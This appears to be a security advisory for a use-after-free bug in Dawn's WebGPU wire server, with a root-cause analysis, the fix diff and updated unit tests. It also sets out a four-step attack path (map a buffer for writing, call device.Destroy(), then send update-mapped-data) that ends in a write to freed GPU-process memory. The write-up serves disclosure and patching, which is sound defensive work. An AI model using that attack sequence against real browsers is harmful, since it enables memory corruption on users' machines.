CVE-2026-5284
Overview
Background
- Dawn wire
- Dawn’s client/server serialization layer that lets a sandboxed renderer (the
WireClient) drive WebGPU in the GPU process (the wireServer) by passing commands over an IPC channel. - Buffer mapping
- the WebGPU mechanism that exposes a GPU buffer’s memory to the client for CPU reads/writes; the wire server tracks per-buffer mapping information in the
BufferMapStatestruct inObjectStorage.h. - `MemoryTransferService::WriteHandle`
- a server-side object that holds a target pointer (set via
SetTarget) into mapped buffer memory and applies client-supplied bytes to it throughDeserializeDataUpdate. - `bufferGetMappedRange`
- the backend proc returning the buffer’s current mapped-memory pointer, or
nullptrwhen the buffer is no longer mapped (for example after an implicit unmap caused bydevice.Destroy()).
Root Cause Analysis
The wire server’s buffer-update path cached a pointer to the mapped memory at map time and reused it later without re-validating that the buffer was still mapped. On a successful write-map (and on mappedAtCreation), the server called writeHandle->SetTarget(mProcs->bufferGetMappedRange(...) - offset) and recorded mapState->writeState = BufferMapWriteState::Mapped. When the client subsequently sent an update-mapped-data command, the handler switched on the cached writeState; in the Mapped case it proceeded to writeHandle->DeserializeDataUpdate(...), writing client-controlled bytes through the previously stored target pointer. The violated invariant is that the cached target pointer stays valid for the buffer’s whole mapped lifetime — but a buffer can be implicitly unmapped (notably by device.Destroy()), freeing or invalidating that memory while writeState still reads Mapped, so the deserialize wrote into a stale (freed) pointer: a use-after-free write in the GPU process.
The fix deletes the cached writeState flag and the BufferMapWriteState enum entirely and instead re-queries bufferGetMappedRange(buffer->handle, offset, size) at update time; a nullptr result (unmapped/destroyed/error buffer) short-circuits with WireResult::Success and no write, and otherwise the handle’s length and target are set fresh from the live pointer before any deserialize occurs.
writeState flag that could silently go stale after an implicit unmap; the fix stops caching and re-fetches the live mapped range on every update, treating a nullptr as “no longer mapped” and skipping the write.Attack Path
- Map a buffer for writing
The client issues a write
MapAsync(ormappedAtCreation), and the server succeeds, caches the mapped-range pointer in theWriteHandletarget, and marksmapState->writeState = BufferMapWriteState::Mapped. - Trigger an implicit unmap
The client calls
device.Destroy()(or otherwise causes the buffer’s backing memory to be freed/unmapped) while the server still records the buffer asMapped; the patch’s new comment explicitly namesdevice.Destroy()as a reason the mapped range would now benullptr. - Send an update-mapped-data command
Pre-patch, the server switched on the stale
Mappedstate and calledwriteHandle->DeserializeDataUpdate(...)through the dangling cached target pointer. - Use-after-free write
The client-controlled deserialized bytes are written into freed/invalid memory in the GPU process. Any further read/write primitive or escalation beyond this UAF write is
(inferred)and not shown by the diff.
Impact Assessment
(inferred) and not demonstrated by the patch itself.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/dawn/wire/server/ServerBuffer.cpp |
modified | |
switchsrc/dawn/wire/server/ServerBuffer.cpp |
modified | |
ifsrc/dawn/tests/unittests/wire/WireBufferMappingTests.cpp |
modified | |
TEST_Psrc/dawn/tests/unittests/wire/WireBufferMappingTests.cpp |
modified | |
TestCancelInCallbacksrc/dawn/tests/unittests/wire/WireBufferMappingTests.cpp |
modified |
Files Changed
include/dawn/wire/WireClient.hsrc/dawn/tests/BUILD.gnsrc/dawn/tests/unittests/wire/WireBufferMappingTests.cppsrc/dawn/tests/unittests/wire/WireMemoryTransferServiceTests.cppsrc/dawn/tests/unittests/wire/WireSpecificCommandTests.cppsrc/dawn/tests/unittests/wire/WireTest.cppsrc/dawn/tests/unittests/wire/WireTest.hsrc/dawn/wire/WireClient.cppsrc/dawn/wire/server/ObjectStorage.hsrc/dawn/wire/server/ServerBuffer.cpp
Audit Directions
- Cached pointers to externally-owned memoryreview every wire-server site that stores a raw pointer into backend-owned memory (e.g.,
SetTarget, cached mapped ranges) and reuses it across separate commands; such pointers should be re-validated at use time, not trusted via a cached flag. - State flags invalidated out of bandhunt for state machines like
writeStatethat can be made stale by out-of-band operations such asdevice.Destroy()or implicit unmap without the tracker being notified, so a later handler acts on an obsolete state. - Sibling handle typesthe fix touched only the write path; audit
ReadHandleand otherMemoryTransferServicehandles for the same cache-and-reuse-the-mapped-pointer pattern.
Patch
diff --git a/include/dawn/wire/WireClient.h b/include/dawn/wire/WireClient.h
index 3b935ce..6472e40 100644
--- a/include/dawn/wire/WireClient.h
+++ b/include/dawn/wire/WireClient.h
@@ -96,6 +96,8 @@
// Commands allocated after this point will not be sent.
void Disconnect();
+ client::Client* GetImplForTesting();
+
private:
std::unique_ptr<client::Client> mImpl;
};
diff --git a/src/dawn/wire/WireClient.cpp b/src/dawn/wire/WireClient.cpp
index 978c475..2d4eaa3 100644
--- a/src/dawn/wire/WireClient.cpp
+++ b/src/dawn/wire/WireClient.cpp
@@ -91,6 +91,10 @@
return wireDevice->GetWireHandle(mImpl.get());
}
+client::Client* WireClient::GetImplForTesting() {
+ return mImpl.get();
+}
+
namespace client {
MemoryTransferService::MemoryTransferService() = default;
diff --git a/src/dawn/wire/server/ObjectStorage.h b/src/dawn/wire/server/ObjectStorage.h
index c9ecb25..b6ee390 100644
--- a/src/dawn/wire/server/ObjectStorage.h
+++ b/src/dawn/wire/server/ObjectStorage.h
@@ -63,12 +63,9 @@
template <typename T>
struct ObjectData : public ObjectDataBase<T> {};
-enum class BufferMapWriteState { Unmapped, Mapped, MapError };
-
struct BufferMapState {
std::unique_ptr<MemoryTransferService::ReadHandle> readHandle = nullptr;
std::unique_ptr<MemoryTransferService::WriteHandle> writeHandle = nullptr;
- BufferMapWriteState writeState = BufferMapWriteState::Unmapped;
};
template <>
diff --git a/src/dawn/wire/server/ServerBuffer.cpp b/src/dawn/wire/server/ServerBuffer.cpp
index 059243b..3b927e7 100644
--- a/src/dawn/wire/server/ServerBuffer.cpp
+++ b/src/dawn/wire/server/ServerBuffer.cpp
@@ -32,6 +32,7 @@
#include <limits>
#include <memory>
+#include <span>
#include "dawn/common/Assert.h"
#include "dawn/common/StringViewUtils.h"
@@ -63,7 +64,6 @@
// don't assert it's non-null
mapState->writeHandle = nullptr;
}
- mapState->writeState = BufferMapWriteState::Unmapped;
});
return WireResult::Success;
@@ -78,7 +78,6 @@
buffer->mapState.Use([](auto mapState) {
mapState->readHandle = nullptr;
mapState->writeHandle = nullptr;
- mapState->writeState = BufferMapWriteState::Unmapped;
});
return WireResult::Success;
@@ -163,10 +162,8 @@
if (buffer->handle == nullptr) {
DAWN_ASSERT(descriptor->mappedAtCreation);
// A null buffer indicates that mapping-at-creation failed inside createBuffer.
- // - Unmark the buffer as allocated so we will skip freeing it.
+ // Unmark the buffer as allocated so we will skip freeing it.
buffer->state = AllocationState::Reserved;
- // - Remember the buffer is an error so we will skip subsequent mapping operations.
- mapState->writeState = BufferMapWriteState::MapError;
return WireResult::Success;
}
@@ -179,23 +176,6 @@
}
DAWN_ASSERT(writeHandle != nullptr);
mapState->writeHandle.reset(writeHandle);
- writeHandle->SetDataLength(descriptor->size);
-
- if (descriptor->mappedAtCreation) {
- void* mapping = mProcs->bufferGetMappedRange(buffer->handle, 0, descriptor->size);
- if (mapping == nullptr) {
- DAWN_ASSERT(descriptor->size % 4 != 0);
- // GetMappedRange can still fail if the buffer's size isn't aligned.
- // - Remember the buffer is an error so we will skip subsequent mapping
- // operations.
- mapState->writeState = BufferMapWriteState::MapError;
- return WireResult::Success;
- }
- DAWN_ASSERT(mapping != nullptr);
- writeHandle->SetTarget(mapping);
-
- mapState->writeState = BufferMapWriteState::Mapped;
- }
}
if (isReadMode) {
@@ -207,7 +187,6 @@
return WireResult::FatalError;
}
DAWN_ASSERT(readHandle != nullptr);
-
mapState->readHandle.reset(readHandle);
}
@@ -226,25 +205,40 @@
}
return buffer->mapState.Use([&](auto mapState) {
- switch (mapState->writeState) {
- case BufferMapWriteState::Unmapped:
- return WireResult::FatalError;
- case BufferMapWriteState::MapError:
- // The buffer is mapped but there was an error allocating mapped data.
- // Do not perform the memcpy.
- return WireResult::Success;
- case BufferMapWriteState::Mapped:
- break;
+ uint8_t* mappedData =
+ static_cast<uint8_t*>(mProcs->bufferGetMappedRange(buffer->handle, offset, size));
+
+ // There are a few valid reasons why getting the mapped range would fail here:
+ // - The buffer was implicitly unmapped because of a device.Destroy() call.
+ // - The buffer was an error buffer created just to replace an OOM mappedAtCreation buffer.
+ // Unfortunately validating exactly that the failure is due to a valid reason and not
+ // another is difficult, so we return WireResult::Success even for misuses of the wire
+ // protocol (like a size being larger than the buffer's size, etc).
+ if (mappedData == nullptr) {
+ return WireResult::Success;
}
+ // TODO(https://issues.chromium.org/492456046): We would like to map only the `offset` and
+ // `size` here but the Chromium implementation of DeserializeDataUpdate uses `offset` to
+ // offset both the target data and it's shmem pointer. So the pointer passed in SetTarget
+ // must be for the start of the buffer. Fix this somehow when spanifying the interfaces but
+ // for now we need to duplicate the overflow check that's done in GetMappedRange.
+ mappedData -= offset;
+
+ // Note that offset + size was checked to not overflow in GetMappedRange above.
+ std::span<uint8_t> mappedRange = {mappedData, static_cast<size_t>(offset + size)};
+
+ // However it is easy to check for misuses of the wire protocol to UpdateMappedData without
+ // a WriteHandle.
if (!mapState->writeHandle) {
- // This check is performed after the check for the MapError state. It is permissible
- // to Unmap and attempt to update mapped data of an error buffer.
return WireResult::FatalError;
}
// Deserialize the flush info and flush updated data from the handle into the target
- // of the handle. The target is set via WriteHandle::SetTarget.
+ // of the handle. The target is set via WriteHandle::SetTarget/SetDataLength.
+ mapState->writeHandle->SetDataLength(mappedRange.size());
+ mapState->writeHandle->SetTarget(mappedRange.data());
+
if (!mapState->writeHandle->DeserializeDataUpdate(
writeDataUpdateInfo, static_cast<size_t>(writeDataUpdateInfoLength),
static_cast<size_t>(offset), static_cast<size_t>(size))) {
@@ -301,18 +295,6 @@
break;
}
case WGPUMapMode_Write: {
- buffer->mapState.Use([&](auto mapState) {
- // The in-flight map request returned successfully.
- mapState->writeState = BufferMapWriteState::Mapped;
- // Set the target of the WriteHandle to the mapped buffer data.
- // Note that writeHandle's target always refers to the buffer base address, but we
- // call getMappedRange exactly with the range of data that is potentially modified
- // (i.e. we don't want getMappedRange(0, wholeBufferSize) if only a subset of the
- // buffer is actually mapped) in case the implementation does some range tracking.
- mapState->writeHandle->SetTarget(static_cast<uint8_t*>(mProcs->bufferGetMappedRange(
- data->bufferObj, data->offset, data->size)) -
- data->offset);
- });
SerializeCommand(cmd);
break;
}
diff --git a/src/dawn/tests/unittests/wire/WireBufferMappingTests.cpp b/src/dawn/tests/unittests/wire/WireBufferMappingTests.cpp
index 0346239..5fbfa97 100644
--- a/src/dawn/tests/unittests/wire/WireBufferMappingTests.cpp
+++ b/src/dawn/tests/unittests/wire/WireBufferMappingTests.cpp
@@ -123,14 +123,14 @@
}
// Sets up the correct mapped range call expectations given the map mode.
- void ExpectMappedRangeCall(uint64_t bufferSize, void* bufferContent) {
+ void ExpectMappedRangeCall() {
wgpu::MapMode mapMode = GetMapMode();
if (mapMode == wgpu::MapMode::Read) {
- EXPECT_CALL(api, BufferGetConstMappedRange(apiBuffer, 0, bufferSize))
- .WillOnce(Return(bufferContent));
+ EXPECT_CALL(api, BufferGetConstMappedRange(apiBuffer, 0, kBufferSize))
+ .WillOnce(Return(&mappedBufferContents));
} else if (mapMode == wgpu::MapMode::Write) {
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, bufferSize))
- .WillOnce(Return(bufferContent));
+ EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, kBufferSize))
+ .WillOnce(Return(&mappedBufferContents));
}
}
@@ -144,14 +144,15 @@
wgpu::MapMode mapMode = GetMapMode();
MapAsync(mapMode, 0, kBufferSize);
- uint32_t bufferContent = 31337;
EXPECT_CALL(
api, OnBufferMapAsync(apiBuffer, static_cast<WGPUMapMode>(mapMode), 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- ExpectMappedRangeCall(kBufferSize, &bufferContent);
+ if (mapMode & wgpu::MapMode::Read) {
+ ExpectMappedRangeCall();
+ }
addExpectations();
// The callback should get called with the expected status, regardless if the server has
@@ -230,14 +231,15 @@
wgpu::MapMode mapMode = GetMapMode();
MapAsync(mapMode, 0, kBufferSize);
- uint32_t bufferContent = 31337;
EXPECT_CALL(
api, OnBufferMapAsync(apiBuffer, static_cast<WGPUMapMode>(mapMode), 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- ExpectMappedRangeCall(kBufferSize, &bufferContent);
+ if (mapMode & wgpu::MapMode::Read) {
+ ExpectMappedRangeCall();
+ }
// Ensure that the server had a chance to respond if relevant.
FlushClient();
@@ -260,7 +262,11 @@
FlushCallbacks();
}
+ // The buffer contents is in a member to ensure it outlives all test bodies (it is passed by
+ // pointer as the mocked result of GetMappedRange and can be derefenced anywhere in the test).
+ uint32_t mappedBufferContents = 31337;
static constexpr uint64_t kBufferSize = sizeof(uint32_t);
+
// A successfully created buffer
wgpu::Buffer buffer;
WGPUBuffer apiBuffer;
@@ -363,7 +369,12 @@
// Test that the callback isn't fired twice when Unmap() is called inside the callback.
TEST_P(WireBufferMappingTests, UnmapInsideMapCallback) {
TestCancelInCallback([&]() { buffer.Unmap(); },
- [&]() { EXPECT_CALL(api, BufferUnmap(apiBuffer)); });
+ [&]() {
+ if (GetMapMode() & wgpu::MapMode::Write) {
+ ExpectMappedRangeCall();
+ }
+ EXPECT_CALL(api, BufferUnmap(apiBuffer));
+ });
}
// Test that the callback isn't fired twice when Destroy() is called inside the callback.
@@ -394,14 +405,13 @@
TEST_P(WireBufferMappingReadTests, MappingSuccess) {
MapAsync(wgpu::MapMode::Read, 0, kBufferSize);
- uint32_t bufferContent = 31337;
EXPECT_CALL(api, OnBufferMapAsync(apiBuffer, WGPUMapMode_Read, 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
EXPECT_CALL(api, BufferGetConstMappedRange(apiBuffer, 0, kBufferSize))
- .WillOnce(Return(&bufferContent));
+ .WillOnce(Return(&mappedBufferContents));
FlushClient();
FlushFutures();
@@ -411,7 +421,7 @@
FlushCallbacks();
});
- EXPECT_EQ(bufferContent,
+ EXPECT_EQ(mappedBufferContents,
*static_cast<const uint32_t*>(buffer.GetConstMappedRange(0, kBufferSize)));
EXPECT_CALL(api, BufferUnmap(apiBuffer)).Times(1);
buffer.Unmap();
@@ -424,14 +434,13 @@
// Successful map
MapAsync(wgpu::MapMode::Read, 0, kBufferSize);
- uint32_t bufferContent = 31337;
EXPECT_CALL(api, OnBufferMapAsync(apiBuffer, WGPUMapMode_Read, 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
EXPECT_CALL(api, BufferGetConstMappedRange(apiBuffer, 0, kBufferSize))
- .WillOnce(Return(&bufferContent));
+ .WillOnce(Return(&mappedBufferContents));
FlushClient();
FlushFutures();
@@ -459,7 +468,7 @@
FlushCallbacks();
});
- EXPECT_EQ(bufferContent,
+ EXPECT_EQ(mappedBufferContents,
*static_cast<const uint32_t*>(buffer.GetConstMappedRange(0, kBufferSize)));
}
@@ -478,7 +487,6 @@
TEST_P(WireBufferMappingWriteTests, MappingSuccess) {
MapAsync(wgpu::MapMode::Write, 0, kBufferSize);
- uint32_t serverBufferContent = 31337;
uint32_t updatedContent = 4242;
EXPECT_CALL(api, OnBufferMapAsync(apiBuffer, WGPUMapMode_Write, 0, kBufferSize, _))
@@ -486,8 +494,6 @@
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, kBufferSize))
- .WillOnce(Return(&serverBufferContent));
// The map write callback always gets a buffer full of zeroes.
FlushClient();
@@ -504,13 +510,15 @@
// Write something to the mapped pointer
*lastMapWritePointer = updatedContent;
+ EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, kBufferSize))
+ .WillOnce(Return(&mappedBufferContents));
EXPECT_CALL(api, BufferUnmap(apiBuffer)).Times(1);
buffer.Unmap();
FlushClient();
// After the buffer is unmapped, the content of the buffer is updated on the server
- ASSERT_EQ(serverBufferContent, updatedContent);
+ ASSERT_EQ(mappedBufferContents, updatedContent);
}
// Check that an error map write while a buffer is already mapped.
@@ -518,14 +526,11 @@
// Successful map
MapAsync(wgpu::MapMode::Write, 0, kBufferSize);
- uint32_t bufferContent = 31337;
EXPECT_CALL(api, OnBufferMapAsync(apiBuffer, WGPUMapMode_Write, 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, kBufferSize))
- .WillOnce(Return(&bufferContent));
FlushClient();
FlushFutures();
@@ -574,11 +579,10 @@
uint32_t apiBufferData = 1234;
EXPECT_CALL(api, DeviceCreateBuffer(apiDevice, _)).WillOnce(Return(apiBuffer));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, 4)).WillOnce(Return(&apiBufferData));
-
buffer = device.CreateBuffer(&descriptor);
FlushClient();
+ EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, 4)).WillOnce(Return(&apiBufferData));
EXPECT_CALL(api, BufferUnmap(apiBuffer)).Times(1);
buffer.Unmap();
FlushClient();
@@ -590,10 +594,7 @@
descriptor.size = kBufferSize;
descriptor.mappedAtCreation = true;
- uint32_t apiBufferData = 1234;
EXPECT_CALL(api, DeviceCreateBuffer(apiDevice, _)).WillOnce(Return(apiBuffer));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, 4)).WillOnce(Return(&apiBufferData));
-
buffer = device.CreateBuffer(&descriptor);
FlushClient();
@@ -611,11 +612,10 @@
... (file diff truncated)
Regression Test / PoC
diff --git a/src/dawn/tests/BUILD.gn b/src/dawn/tests/BUILD.gn
index 04900b6..ed0fc2e 100644
--- a/src/dawn/tests/BUILD.gn
+++ b/src/dawn/tests/BUILD.gn
@@ -468,6 +468,7 @@
"unittests/wire/WireOptionalTests.cpp",
"unittests/wire/WireQueueTests.cpp",
"unittests/wire/WireShaderModuleTests.cpp",
+ "unittests/wire/WireSpecificCommandTests.cpp",
"unittests/wire/WireTest.cpp",
"unittests/wire/WireTest.h",
]
diff --git a/src/dawn/tests/unittests/wire/WireBufferMappingTests.cpp b/src/dawn/tests/unittests/wire/WireBufferMappingTests.cpp
index 0346239..5fbfa97 100644
--- a/src/dawn/tests/unittests/wire/WireBufferMappingTests.cpp
+++ b/src/dawn/tests/unittests/wire/WireBufferMappingTests.cpp
@@ -123,14 +123,14 @@
}
// Sets up the correct mapped range call expectations given the map mode.
- void ExpectMappedRangeCall(uint64_t bufferSize, void* bufferContent) {
+ void ExpectMappedRangeCall() {
wgpu::MapMode mapMode = GetMapMode();
if (mapMode == wgpu::MapMode::Read) {
- EXPECT_CALL(api, BufferGetConstMappedRange(apiBuffer, 0, bufferSize))
- .WillOnce(Return(bufferContent));
+ EXPECT_CALL(api, BufferGetConstMappedRange(apiBuffer, 0, kBufferSize))
+ .WillOnce(Return(&mappedBufferContents));
} else if (mapMode == wgpu::MapMode::Write) {
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, bufferSize))
- .WillOnce(Return(bufferContent));
+ EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, kBufferSize))
+ .WillOnce(Return(&mappedBufferContents));
}
}
@@ -144,14 +144,15 @@
wgpu::MapMode mapMode = GetMapMode();
MapAsync(mapMode, 0, kBufferSize);
- uint32_t bufferContent = 31337;
EXPECT_CALL(
api, OnBufferMapAsync(apiBuffer, static_cast<WGPUMapMode>(mapMode), 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- ExpectMappedRangeCall(kBufferSize, &bufferContent);
+ if (mapMode & wgpu::MapMode::Read) {
+ ExpectMappedRangeCall();
+ }
addExpectations();
// The callback should get called with the expected status, regardless if the server has
@@ -230,14 +231,15 @@
wgpu::MapMode mapMode = GetMapMode();
MapAsync(mapMode, 0, kBufferSize);
- uint32_t bufferContent = 31337;
EXPECT_CALL(
api, OnBufferMapAsync(apiBuffer, static_cast<WGPUMapMode>(mapMode), 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- ExpectMappedRangeCall(kBufferSize, &bufferContent);
+ if (mapMode & wgpu::MapMode::Read) {
+ ExpectMappedRangeCall();
+ }
// Ensure that the server had a chance to respond if relevant.
FlushClient();
@@ -260,7 +262,11 @@
FlushCallbacks();
}
+ // The buffer contents is in a member to ensure it outlives all test bodies (it is passed by
+ // pointer as the mocked result of GetMappedRange and can be derefenced anywhere in the test).
+ uint32_t mappedBufferContents = 31337;
static constexpr uint64_t kBufferSize = sizeof(uint32_t);
+
// A successfully created buffer
wgpu::Buffer buffer;
WGPUBuffer apiBuffer;
@@ -363,7 +369,12 @@
// Test that the callback isn't fired twice when Unmap() is called inside the callback.
TEST_P(WireBufferMappingTests, UnmapInsideMapCallback) {
TestCancelInCallback([&]() { buffer.Unmap(); },
- [&]() { EXPECT_CALL(api, BufferUnmap(apiBuffer)); });
+ [&]() {
+ if (GetMapMode() & wgpu::MapMode::Write) {
+ ExpectMappedRangeCall();
+ }
+ EXPECT_CALL(api, BufferUnmap(apiBuffer));
+ });
}
// Test that the callback isn't fired twice when Destroy() is called inside the callback.
@@ -394,14 +405,13 @@
TEST_P(WireBufferMappingReadTests, MappingSuccess) {
MapAsync(wgpu::MapMode::Read, 0, kBufferSize);
- uint32_t bufferContent = 31337;
EXPECT_CALL(api, OnBufferMapAsync(apiBuffer, WGPUMapMode_Read, 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
EXPECT_CALL(api, BufferGetConstMappedRange(apiBuffer, 0, kBufferSize))
- .WillOnce(Return(&bufferContent));
+ .WillOnce(Return(&mappedBufferContents));
FlushClient();
FlushFutures();
@@ -411,7 +421,7 @@
FlushCallbacks();
});
- EXPECT_EQ(bufferContent,
+ EXPECT_EQ(mappedBufferContents,
*static_cast<const uint32_t*>(buffer.GetConstMappedRange(0, kBufferSize)));
EXPECT_CALL(api, BufferUnmap(apiBuffer)).Times(1);
buffer.Unmap();
@@ -424,14 +434,13 @@
// Successful map
MapAsync(wgpu::MapMode::Read, 0, kBufferSize);
- uint32_t bufferContent = 31337;
EXPECT_CALL(api, OnBufferMapAsync(apiBuffer, WGPUMapMode_Read, 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
EXPECT_CALL(api, BufferGetConstMappedRange(apiBuffer, 0, kBufferSize))
- .WillOnce(Return(&bufferContent));
+ .WillOnce(Return(&mappedBufferContents));
FlushClient();
FlushFutures();
@@ -459,7 +468,7 @@
FlushCallbacks();
});
- EXPECT_EQ(bufferContent,
+ EXPECT_EQ(mappedBufferContents,
*static_cast<const uint32_t*>(buffer.GetConstMappedRange(0, kBufferSize)));
}
@@ -478,7 +487,6 @@
TEST_P(WireBufferMappingWriteTests, MappingSuccess) {
MapAsync(wgpu::MapMode::Write, 0, kBufferSize);
- uint32_t serverBufferContent = 31337;
uint32_t updatedContent = 4242;
EXPECT_CALL(api, OnBufferMapAsync(apiBuffer, WGPUMapMode_Write, 0, kBufferSize, _))
@@ -486,8 +494,6 @@
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, kBufferSize))
- .WillOnce(Return(&serverBufferContent));
// The map write callback always gets a buffer full of zeroes.
FlushClient();
@@ -504,13 +510,15 @@
// Write something to the mapped pointer
*lastMapWritePointer = updatedContent;
+ EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, kBufferSize))
+ .WillOnce(Return(&mappedBufferContents));
EXPECT_CALL(api, BufferUnmap(apiBuffer)).Times(1);
buffer.Unmap();
FlushClient();
// After the buffer is unmapped, the content of the buffer is updated on the server
- ASSERT_EQ(serverBufferContent, updatedContent);
+ ASSERT_EQ(mappedBufferContents, updatedContent);
}
// Check that an error map write while a buffer is already mapped.
@@ -518,14 +526,11 @@
// Successful map
MapAsync(wgpu::MapMode::Write, 0, kBufferSize);
- uint32_t bufferContent = 31337;
EXPECT_CALL(api, OnBufferMapAsync(apiBuffer, WGPUMapMode_Write, 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, kBufferSize))
- .WillOnce(Return(&bufferContent));
FlushClient();
FlushFutures();
@@ -574,11 +579,10 @@
uint32_t apiBufferData = 1234;
EXPECT_CALL(api, DeviceCreateBuffer(apiDevice, _)).WillOnce(Return(apiBuffer));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, 4)).WillOnce(Return(&apiBufferData));
-
buffer = device.CreateBuffer(&descriptor);
FlushClient();
+ EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, 4)).WillOnce(Return(&apiBufferData));
EXPECT_CALL(api, BufferUnmap(apiBuffer)).Times(1);
buffer.Unmap();
FlushClient();
@@ -590,10 +594,7 @@
descriptor.size = kBufferSize;
descriptor.mappedAtCreation = true;
- uint32_t apiBufferData = 1234;
EXPECT_CALL(api, DeviceCreateBuffer(apiDevice, _)).WillOnce(Return(apiBuffer));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, 4)).WillOnce(Return(&apiBufferData));
-
buffer = device.CreateBuffer(&descriptor);
FlushClient();
@@ -611,11 +612,10 @@
uint32_t apiBufferData = 1234;
EXPECT_CALL(api, DeviceCreateBuffer(apiDevice, _)).WillOnce(Return(apiBuffer));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, 4)).WillOnce(Return(&apiBufferData));
-
buffer = device.CreateBuffer(&descriptor);
FlushClient();
+ EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, 4)).WillOnce(Return(&apiBufferData));
EXPECT_CALL(api, BufferUnmap(apiBuffer)).Times(1);
buffer.Unmap();
FlushClient();
@@ -627,8 +627,6 @@
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, kBufferSize))
- .WillOnce(Return(&apiBufferData));
FlushClient();
FlushFutures();
@@ -647,8 +645,6 @@
uint32_t apiBufferData = 1234;
EXPECT_CALL(api, DeviceCreateBuffer(apiDevice, _)).WillOnce(Return(apiBuffer));
- EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, 4)).WillOnce(Return(&apiBufferData));
-
buffer = device.CreateBuffer(&descriptor);
FlushClient();
@@ -673,6 +669,7 @@
EXPECT_NE(nullptr, static_cast<const uint32_t*>(buffer.GetConstMappedRange(0, kBufferSize)));
+ EXPECT_CALL(api, BufferGetMappedRange(apiBuffer, 0, 4)).WillOnce(Return(&apiBufferData));
EXPECT_CALL(api, BufferUnmap(apiBuffer)).Times(1);
buffer.Unmap();
@@ -767,14 +764,15 @@
wgpu::MapMode mapMode = GetMapMode();
MapAsync(mapMode, 0, kBufferSize);
- uint32_t bufferContent = 0;
EXPECT_CALL(api,
OnBufferMapAsync(apiBuffer, static_cast<WGPUMapMode>(mapMode), 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- ExpectMappedRangeCall(kBufferSize, &bufferContent);
+ if (mapMode & wgpu::MapMode::Read) {
+ ExpectMappedRangeCall();
+ }
FlushClient();
ExpectWireCallbacksWhen([&](auto& mockCb) {
@@ -803,14 +801,15 @@
MapAsync(mapMode, 0, kBufferSize);
// Calls for the first successful map.
- uint32_t bufferContent = 0;
EXPECT_CALL(api,
OnBufferMapAsync(apiBuffer, static_cast<WGPUMapMode>(mapMode), 0, kBufferSize, _))
.WillOnce(InvokeWithoutArgs([&] {
api.CallBufferMapAsyncCallback(apiBuffer, WGPUMapAsyncStatus_Success,
kEmptyOutputStringView);
}));
- ExpectMappedRangeCall(kBufferSize, &bufferContent);
+ if (mapMode & wgpu::MapMode::Read) {
+ ExpectMappedRangeCall();
+ }
if (IsSpontaneous()) {
// In spontaneous mode, the second map on the pending immediately calls the callback.
@@ -849,7 +848,6 @@
// Test that GetMapState() returns map state as expected
TEST_P(WireBufferMappingTests, GetMapState) {
wgpu::MapMode mapMode = GetMapMode();
... (truncated)
Original Bug Report
UAF write in Dawn wire server: BufferUpdateMappedData writes to freed GPU memory after DeviceDestroy
Summary
